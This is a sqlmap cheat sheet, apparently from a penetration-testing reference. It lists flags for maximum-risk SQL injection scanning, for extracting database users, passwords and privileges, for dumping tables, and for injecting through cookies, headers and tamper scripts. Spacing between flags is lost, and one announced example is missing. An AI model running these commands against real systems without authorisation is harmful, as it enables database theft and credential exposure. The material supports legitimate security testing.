-u"<URL>"-p"<PARAM TO TEST>"--user-agent=SQLMAP--random-agent--threads=10--risk=3#MAX--level=5#MAX--dbms="<KNOWN DB TECH>"--os="<OS>"--technique="UB"#Use only techniques UNION and BLIND in that order (default "BEUSTQ")--batch#Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers--auth-type="<AUTH>"#HTTP authentication type (Basic, Digest, NTLM or PKI)--auth-cred="<AUTH>"#HTTP authentication credentials (name:password)--proxy=http://127.0.0.1:8080--union-char"GsFRts2"#Help sqlmap identify union SQLi techniques with a weird union char
Retrieve Information
Internal
--current-user#Get current user--is-dba#Check if current user is Admin--hostname#Get hostname--users#Get usernames od DB--passwords#Get passwords of users in DB--privileges#Get privileges
DB data
--all#Retrieve everything--dump#Dump DBMS database table entries--dbs#Names of the available databases--tables#Tables of a database ( -D <DB NAME> )--columns#Columns of a table ( -D <DB NAME> -T <TABLE NAME> )-D<DBNAME>-T<TABLENAME>-C<COLUMNNAME>#Dump column
#Inside cookiesqlmap-u"http://example.com"--cookie"mycookies=*"#Inside some headersqlmap-u"http://example.com"--headers="x-forwarded-for:127.0.0.1*"sqlmap-u"http://example.com"--headers="referer:*"#PUT Methodsqlmap--method=PUT-u"http://example.com"--headers="referer:*"#The injection is located at the '*'
Indicate string when injection is successful
--string="string_showed_when_TRUE"
Eval
Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie sessionis signed by flask with the known secret before sending it:
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap-rr.txt-pid--not-stringridiculous--batch
Tamper
Remember that you can create your own tamper in python and it's very simple. You can find a tamper example in the Second Order Injection page here.
--tamper=name_of_the_tamper#In kali you can see all the tampers in /usr/share/sqlmap/tamper